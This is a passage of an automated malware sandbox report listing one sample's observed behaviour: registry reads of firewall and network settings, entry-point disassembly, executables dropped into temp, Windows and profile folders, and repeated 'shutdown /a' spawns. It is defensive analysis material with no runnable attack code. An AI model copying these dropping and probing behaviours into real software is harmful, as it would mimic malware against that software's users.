"2416522045.exe" touched "HNetCfg.FwMgr" (Path: "HKCU\CLSID\{304CE942-6E39-40D8-943A-B913C40C9CD4}\TREATAS") "2416522045.exe" touched "HNetCfg.FwAuthorizedApplication" (Path: "HKCU\CLSID\{EC9846B3-2762-4A6B-A214-6ACB603462D2}\TREATAS") "2416522045.exe" touched "Cor MIME Filter, CorFltr, CorFltr 1" (Path: "HKCU\CLSID\{1E66F26B-79EE-11D2-8710-00C04F79ED0D}\TREATAS") "3092126301.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "3092126301.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "3092126301.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "3092126301.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "3092126301.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "3092126301.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "3092126301.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "3092126301.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "3092126301.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "3092126301.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "3092126301.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "3092126301.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "3092126301.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "3092126301.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "3092126301.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "3092126301.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "3092126301.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "3092126301.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "3092126301.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "3092126301.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "3092126301.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "3092126301.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "3092126301.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "3092126301.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "3092126301.exe" touched "Security Manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}")41:Tbda,"npp.exe" file has an entrypoint instructions - "call 0x401aa8,jmp 0x401469,mov edi, edi,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],mov eax, dword ptr [eax],cmp dword ptr [eax], 0xe06d7363,jne 0x40176f,cmp dword ptr [eax + 0x10], 3,jne 0x40176f,mov eax, dword ptr [eax + 0x14],cmp eax, 0x19930520,je 0x40176a,cmp eax, 0x19930521,je 0x40176a,cmp eax, 0x19930522,je 0x40176a,cmp eax, 0x1994000,jne 0x40176f,call 0x401b3e,xor eax, eax,pop ebp,ret 4,push 0x401733,call dword ptr [0x402000],xor eax, eax,ret ,int3 ,jmp dword ptr [0x4020b4],push 0x14," "1539229012.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,sub esp, 0xbd8,push 0x7d0,call dword ptr [0x41013c],push 0x41431c,push 0,push 0,call dword ptr [0x410098],mov dword ptr [ebp - 0xa44], eax,call dword ptr [0x41009c],cmp eax, 0xb7,jne 0x40750e,push 0,call dword ptr [0x4100a0],mov dword ptr [ebp - 0x420], 0,mov dword ptr [ebp - 0x41c], 0,mov dword ptr [ebp - 0x62c], 1," "2416522045.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,sub esp, 0xbd8,push 0x7d0,call dword ptr [0x41013c],push 0x41431c,push 0,push 0,call dword ptr [0x410098],mov dword ptr [ebp - 0xa44], eax,call dword ptr [0x41009c],cmp eax, 0xb7,jne 0x40750e,push 0,call dword ptr [0x4100a0],mov dword ptr [ebp - 0x420], 0,mov dword ptr [ebp - 0x41c], 0,mov dword ptr [ebp - 0x62c], 1," "2025212419.exe" file has an entrypoint instructions - "call 0x402568,jmp 0x401f29,mov edi, edi,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],mov eax, dword ptr [eax],cmp dword ptr [eax], 0xe06d7363,jne 0x40222f,cmp dword ptr [eax + 0x10], 3,jne 0x40222f,mov eax, dword ptr [eax + 0x14],cmp eax, 0x19930520,je 0x40222a,cmp eax, 0x19930521,je 0x40222a,cmp eax, 0x19930522,je 0x40222a,cmp eax, 0x1994000,jne 0x40222f,call 0x4025fe,xor eax, eax,pop ebp,ret 4,push 0x4021f3,call dword ptr [0x403098],xor eax, eax,ret ,int3 ,jmp dword ptr [0x403130],push 0x14," "winploravr.exe" file has an entrypoint instructions - "call 0x402568,jmp 0x401f29,mov edi, edi,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],mov eax, dword ptr [eax],cmp dword ptr [eax], 0xe06d7363,jne 0x40222f,cmp dword ptr [eax + 0x10], 3,jne 0x40222f,mov eax, dword ptr [eax + 0x14],cmp eax, 0x19930520,je 0x40222a,cmp eax, 0x19930521,je 0x40222a,cmp eax, 0x19930522,je 0x40222a,cmp eax, 0x1994000,jne 0x40222f,call 0x4025fe,xor eax, eax,pop ebp,ret 4,push 0x4021f3,call dword ptr [0x403098],xor eax, eax,ret ,int3 ,jmp dword ptr [0x403130],push 0x14," "139762777.exe" file has an entrypoint instructions - "call 0x4017b8,jmp 0x401180,mov edi, edi,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],mov eax, dword ptr [eax],cmp dword ptr [eax], 0xe06d7363,jne 0x401486,cmp dword ptr [eax + 0x10], 3,jne 0x401486,mov eax, dword ptr [eax + 0x14],cmp eax, 0x19930520,je 0x401481,cmp eax, 0x19930521,je 0x401481,cmp eax, 0x19930522,je 0x401481,cmp eax, 0x1994000,jne 0x401486,call 0x40184e,xor eax, eax,pop ebp,ret 4,push 0x40144a,call dword ptr [0x40203c],xor eax, eax,ret ,jmp dword ptr [0x4020ac],push 0x14,"42:Ta63,Process "shutdown.exe" (UID: 00000000-00003348) was launched with new environment variables: "PROMPT="$P$G"" Process "3890516560.exe" (UID: 00000000-00001064) was launched with missing environment variables: "PROMPT" Process "shutdown.exe" (UID: 00000000-00003792) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00003572) was launched with missing environment variables: "PROMPT" Process "shutdown.exe" (UID: 00000000-00003040) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00001388) was launched with missing environment variables: "PROMPT" Process "shutdown.exe" (UID: 00000000-00003828) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00004436) was launched with missing environment variables: "PROMPT" Process "shutdown.exe" (UID: 00000000-00002280) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00004660) was launched with missing environment variables: "PROMPT" Process "shutdown.exe" (UID: 00000000-00004688) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00002832) was launched with missing environment variables: "PROMPT" Process "shutdown.exe" (UID: 00000000-00002672) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00002852) was launched with missing environment variables: "PROMPT" Process "shutdown.exe" (UID: 00000000-00002880) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00002232) was launched with missing environment variables: "PROMPT" Process "shutdown.exe" (UID: 00000000-00004700) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00005096) was launched with missing environment variables: "PROMPT" Process "shutdown.exe" (UID: 00000000-00004624) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00005228) was launched with missing environment variables: "PROMPT" Process "shutdown.exe" (UID: 00000000-00004960) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00005172) was launched with missing environment variables: "PROMPT" Process "shutdown.exe" (UID: 00000000-00004692) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00004800) was launched with missing environment variables: "PROMPT" Process "shutdown.exe" (UID: 00000000-00004852) was launched with new environment variables: "PROMPT="$P$G""43:T553,"npp.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "npp.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "2416522045.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "2416522045.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1691212729.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "1691212729.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "3092126301.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "3092126301.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "139762777.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "139762777.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "shutdown.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "shutdown.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")44:T7c1,Spawned process "2416522045.exe" (UID: 00000000-00003624) Spawned process "1253014599.exe" (UID: 00000000-00003336) Spawned process "1691212729.exe" (UID: 00000000-00002096) Spawned process "3092126301.exe" (UID: 00000000-00000384) Spawned process "3988039883.exe" (UID: 00000000-00002204) Spawned process "139762777.exe" (UID: 00000000-00001848) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00002436) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00003348) Spawned process "3890516560.exe" (UID: 00000000-00001064) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00004012) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00003792) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00003572) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00003040) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00001388) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00003828) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00004436) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00002280) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00004660) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00004688) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00002832) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00002672) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00002852) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00002880) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00002232) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00004700)45:T7c1,Spawned process "2416522045.exe" (UID: 00000000-00003624) Spawned process "1253014599.exe" (UID: 00000000-00003336) Spawned process "1691212729.exe" (UID: 00000000-00002096) Spawned process "3092126301.exe" (UID: 00000000-00000384) Spawned process "3988039883.exe" (UID: 00000000-00002204) Spawned process "139762777.exe" (UID: 00000000-00001848) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00002436) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00003348) Spawned process "3890516560.exe" (UID: 00000000-00001064) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00004012) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00003792) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00003572) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00003040) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00001388) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00003828) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00004436) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00002280) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00004660) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00004688) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00002832) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00002672) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00002852) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00002880) Spawned process "cmd.exe" with commandline "/c shutdown /a" (UID: 00000000-00002232) Spawned process "shutdown.exe" with commandline "shutdown /a" (UID: 00000000-00004700)46:Tcc0,"2004611899.exe" has type "data"- [targetUID: N/A] "1539229012.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "2416522045.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\2416522045.exe]- [targetUID: 00000000-00003624] "1990229804.exe" has type "data"- Location: [%TEMP%\1990229804.exe]- [targetUID: 00000000-00003624] "2025212419.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "winploravr.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%USERPROFILE%\winploravr.exe]- [targetUID: 00000000-00002096] "139762777.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\139762777.exe]- [targetUID: 00000000-00003624] "1465431897.exe" has type "data"- [targetUID: N/A] "1_1_" has type "data"- [targetUID: N/A] "2_1_" has type "data"- [targetUID: N/A] "5_1_" has type "data"- [targetUID: N/A] "tbtnds.dat" has type "data"- Location: [%USERPROFILE%\tbtnds.dat]- [targetUID: 00000000-00003624] "204902060.exe" has type "data"- Location: [%TEMP%\204902060.exe]- [targetUID: 00000000-00003624] "1372118751.exe" has type "data"- Location: [%TEMP%\1372118751.exe]- [targetUID: 00000000-00003624] "540523367.exe" has type "data"- [targetUID: N/A] "1253014599.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1253014599.exe]- [targetUID: 00000000-00003624] "sysvratrel.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%WINDIR%\sysvratrel.exe]- [targetUID: 00000000-00003624] "sysvratrel.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%USERPROFILE%\sysvratrel.exe]- [targetUID: 00000000-00003624] "sysvratrel.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "newtpp_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "3045733708.exe" has type "data"- [targetUID: N/A] "1904323742.exe" has type "data"- Location: [%TEMP%\1904323742.exe]- [targetUID: 00000000-00003624] "3276813707.exe" has type "data"- [targetUID: N/A] "1691212729.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1691212729.exe]- [targetUID: 00000000-00003624] "winploravr.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "winploravr.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%WINDIR%\winploravr.exe]- [targetUID: 00000000-00002096] "2600716104.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "3988039883.exe" has type "data"- Location: [%TEMP%\3988039883.exe]- [targetUID: 00000000-00002096] "3092126301.exe" has type "data"- Location: [%TEMP%\3092126301.exe]- [targetUID: 00000000-00002096] "3890516560.exe" has type "data"- Location: [%TEMP%\3890516560.exe]- [targetUID: 00000000-00002096] "1443620607.exe" has type "data"- [targetUID: N/A] "1688912414.exe" has type "data"- [targetUID: N/A] "4_1_" has type "data"- [targetUID: N/A] "3_1_" has type "data"- [targetUID: N/A] "_1_1_" has type "data"- [targetUID: N/A] "_2_1_" has type "data"- [targetUID: N/A] "_3_1_" has type "data"- [targetUID: N/A]47:T6b1,"npp.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "npp.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: ""; Value: "") "npp.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: ""; Value: "") "npp.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: ""; Value: "") "npp.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: ""; Value: "") "npp.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\LINKAGE"; Key: ""; Value: "") "npp.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\LOCALSERVER32"; Key: ""; Value: "") "npp.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\LOCALSERVER32"; Key: ""; Value: "") "npp.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32"; Key: ""; Value: "") "npp.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32"; Key: ""; Value: "") "npp.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{E1A15465-0B18-474C-A439-7DDBCE65DA10}"; Key: ""; Value: "") "npp.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}"; Key: ""; Value: "")48:Tc22,"npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPV6DOMAIN"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\LINKAGE"; Key: "BIND"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-12-35"; Key: "WPADDECISION"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-12-35"; Key: "WPADDECISIONTIME"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-12-35"; Key: "WPADDECISIONREASON"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-12-35"; Key: "WPADDHCP"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-12-35"; Key: "WPADDNS"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-12-35"; Key: "WPADDETECTEDURL"; Value: "")49:T467,"npp.exe" reads file "c:\users\%osuser%\appdata\local\temp\2416522045.exe" "2416522045.exe" reads file "c:\users\%osuser%\appdata\local\temp\2416522045.exe" "2416522045.exe" reads file "c:\users\%osuser%\appdata\local\temp\1253014599.exe" "2416522045.exe" reads file "c:\users\%osuser%\appdata\local\temp\1691212729.exe" "2416522045.exe" reads file "c:\users\%osuser%\appdata\local\microsoft\windows\temporary internet files\content.ie5\sld1thwf\3[1]" "2416522045.exe" reads file "c:\users\%osuser%\appdata\local\microsoft\windows\temporary internet files\content.ie5\obvhl2jw\4[1]" "2416522045.exe" reads file "c:\users\%osuser%\appdata\local\temp\139762777.exe" "1691212729.exe" reads file "c:\users\%osuser%\appdata\local\temp\1691212729.exe" "1691212729.exe" reads file "c:\users\%osuser%\appdata\local\temp\3092126301.exe" "1691212729.exe" reads file "c:\users\%osuser%\appdata\local\temp\3988039883.exe" "1691212729.exe" reads file "c:\users\%osuser%\appdata\local\temp\3890516560.exe" "3092126301.exe" reads file "c:\users\%osuser%\desktop\desktop.ini" "cmd.exe" reads file "c:\windows\system32\shutdown.exe"4a:T513,"npp.exe" trying to touch file "C:\npp.exe.Local\" "npp.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_50916076bcb9a742" "npp.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_50916076bcb9a742\MSVCR90.dll" "npp.exe" trying to touch file "C:\version.DLL" "npp.exe" trying to touch file "C:\Windows\system32\version.DLL" "npp.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "npp.exe" trying to touch file "C:\Windows\system32\IMM32.DLL" "npp.exe" trying to touch file "C:\Windows\Temp\VxOle32.dll" "npp.exe" trying to touch file "C:\FLTLIB.DLL" "npp.exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" "npp.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-synch-l1-2-0.DLL" "npp.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "npp.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "npp.exe" trying to touch file "\FileSystem\Filters\FltMgrMsg" "npp.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "npp.exe" trying to touch file "C:\Secur32.dll" "npp.exe" trying to touch file "C:\Windows\system32\Secur32.dll" "npp.exe" trying to touch file "C:\SSPICLI.DLL"4b:T7f1,"npp.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "npp.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "npp.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "npp.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "npp.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "npp.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\CKDNCXYS\newtpp[1].exe" "npp.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\peinstall[1].htm" "npp.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "npp.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "npp.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "npp.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "npp.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\CKDNCXYS\newtpp[1].exe" "npp.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\peinstall[1].htm" "2416522045.exe" touched file 